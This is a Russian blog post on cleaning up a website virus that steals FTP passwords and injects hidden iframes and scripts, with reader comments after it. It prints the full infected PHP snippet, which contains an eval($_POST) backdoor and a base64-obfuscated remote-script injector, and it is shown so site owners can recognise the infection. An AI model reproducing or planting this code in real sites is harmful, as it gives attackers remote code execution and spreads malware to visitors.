Немного о безопасности

Сегодня на дружественном мне форуме наткнулся в на сообщение о вирусе и вспомнил, как бился с ним (или его сородичем) на своих сайтах. Посему решил немного рассказать об этой “заразе” и дать несколько рекомендаций по борьбе с ней.Симптоматика:

В принципе, единственным сигналом о заражении будет сообщение о вредоносном ПО, при заходе на сайт. Более никаких симптомов мною не замечено. но если подскажите – буду рад и признателен.

Врачи-диагносты:

Антивирусы, замечавшие на моей памяти этот вирус:

  • Антивирус Касперского
  • Nod 32

MacAffey, на моей памяти не замечал, как и Avast. Но зря грешить не буду, так как возможно проблему пофиксили в более поздних версиях. Но все равно, не доверяйте этим программам безоговорочно.

Течение болезни:

По сути, у этого вируса 2 модуля. Первый открывает на Вашем сайте 1-пиксельный фрейм, который через 3 прокси приводит на 4 прокси и дальше я. честно говоря не ходил. Вероятно в конце скрипт с рекламой, которая фиксирует просмотр. Второй модуль собственно заражает ФТП-менеджер и пересылает паорль от ФТП. То есть, пока выпользуетесь зараженным менеджером, ваши пароли всегда известны злоумышеннику.

Очаг:

Как и у любой медицинской болезни, у вируса о котором я веду речь есть излюбленные файы в которых он селится. Так как заражение происходит автоматически, с помощью скрипта,  заражение происходит по маске:

  • index.*
  • main.*
  • home.*
  • admin.*
  • auth.*
  • login.*
  • etc
    где символом звездочки заменяется любое расширение файла, кроме .tpl

UPD 30.04.2009: Колеги с форума сообщают, что заражены были файлы и с друм именами, например:

wp-settings.php и jquery.js

Как видете, вирусмейкеры не стоят на месте, но так же сохраняется возможность, что это разновидность вируса под Wordpress.

Как видите, для заражения выбраны те файлы. которые с верятностью 90% процентов присутствуют на любом сайте. Так же стоит заметить, что в самом файле скрипт тоже придерживается определенного алгоритма. Так излюбленные места в коде это:

  • после тега “<BODY>
  • после тега “</HTML>
  • после символа “?>

Сам вирус. Вы легко узнаете. по конструкции

<!– <iframe> … </iframe> –>

<!-- 
document.write(unescape('...'));
 -->

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzY3I0b0NpanFNcHRkRWElMjBzbzVIcmM0b0MlM0QlMkYlMkZvNUg5anFNNCUyRTJvNUg0Nzk1WiUyRTJadmIlMkU0b0MxOTRvQzVvNUglMkY5NVpqWnZicXVadmJlcnk0b0MlMkVqcyUzRXg4JTNDZEVhJTJGc3g4Y3JqcU1pcFp2YnRqcU0lM0UnKS5yZXBsYWNlKC80b0N8eDh8ZEVhfFp2YnxqcU18OTVafG81SC9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("n",$v))>5){$e=preg_match('#['"][^s'".,;?![]:/<>()]{30,}#',$v)||preg_match('#[([](s*d+,){20,}#',$v);if((preg_match('#bevalb#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- ndocument.write(unescape(.+?n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(s*<body)#mi',TMP_XHGFJOKL.'1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

Возможны и другие формы кода.

Лечение и профилактика:

К сожалению, если вы подверглись заражению единственный способ избавится от вируса:

  1. Удалить код вируса изо всех файлов сайта.
  2. Сменить пароль от ФТП.
  3. Сменить фтп менеджер.  Я стал использовать такую разработку, как Win SCP, после перехода на этот ftp-менеджер заражение сайта прекратилось. 

Однозначно подвержены атаке:

  • встроенный фтп-менеджер программы Total Commander
  • встроенный фтп-менеджер FAR-manager
  • CuteFTP *.*

Выписной эпикриз:

К сожалению, данная публикация отражает только мой личный опыт, и возможно я что то упустил, так как не столкнулся, но надеюсь данной Вам информации хватит для принятия верного решения для защиты своего сайта.

Так же хочу заметить, что если у кого то из моих читателей есть, что добавить по теме  буду рад получить полезную информацию. Ставлю ссылки на источники.

Другие упоминания болезни:

Так же я порой натыкаюсь на упоминания об описанной выше проблеме на других блогах и форумах, может это кому то поможет:

http://www.webdeveloper.com/forum/showthread.php?t=203620 (en)

Twitter SEO Community Google Bookmarks Digg Закладки Yandex delicious Ma.gnolia Technorati Yahoo My Web БобрДобр.ru Memori.ru rucity.com МоёМесто.ru Mister Wong

По теме

Tags:

4 комментария to “Немного о безопасности on “Немного о безопасности”

  • > Однозначно подвержены атаке:
    А что, встроенные ftp клиенты у TC & FAR “умеют” разгребать и обрабатывать HTML-код?
    Гон!

  • Стоп. Вы о чем?
    Причем здесь “разгребать и обрабатывать HTML-код”?
    Повнимательне прочитайте пост. В нем говорится, что вирус имеет 2 функции, и одна из них воровать пароли к фтп.
    Соответственно вирус селится в том же самом ТС и пересылает на удаленный хост новый пароль. А скрипт находящийся на удаленном же хосте лезет на фтп и, как Вы выражаетесь “разгребает и обрабатывает HTML-код”.
    В дабавок, я делюсь своим личным опытом, и в моем случае, пока я пользовался одним из этих клиентов – вирусы на сайт лезли. А как только сменил на WINSCP проблема решилась. Так что…
    Факт!

  • Очень долго писал, а потом подумал, а зачем надрываться? В общем, надо бы писать более полезные посты. Вот буквально прошлый – замечательный. А вот этот – уже совсем не так. Держите планку!

  • Благодарю. Как и всегда – отличный пост!

Your comments?

Name (required)
Email (required)
Website
 

FireStats icon Работает с FireStatsэлитные стальные двери|стяжка, classen, наливные полы, доска, паркетная доска|Видеооператор свадьба, видеооператор Москва| Rambler's Top100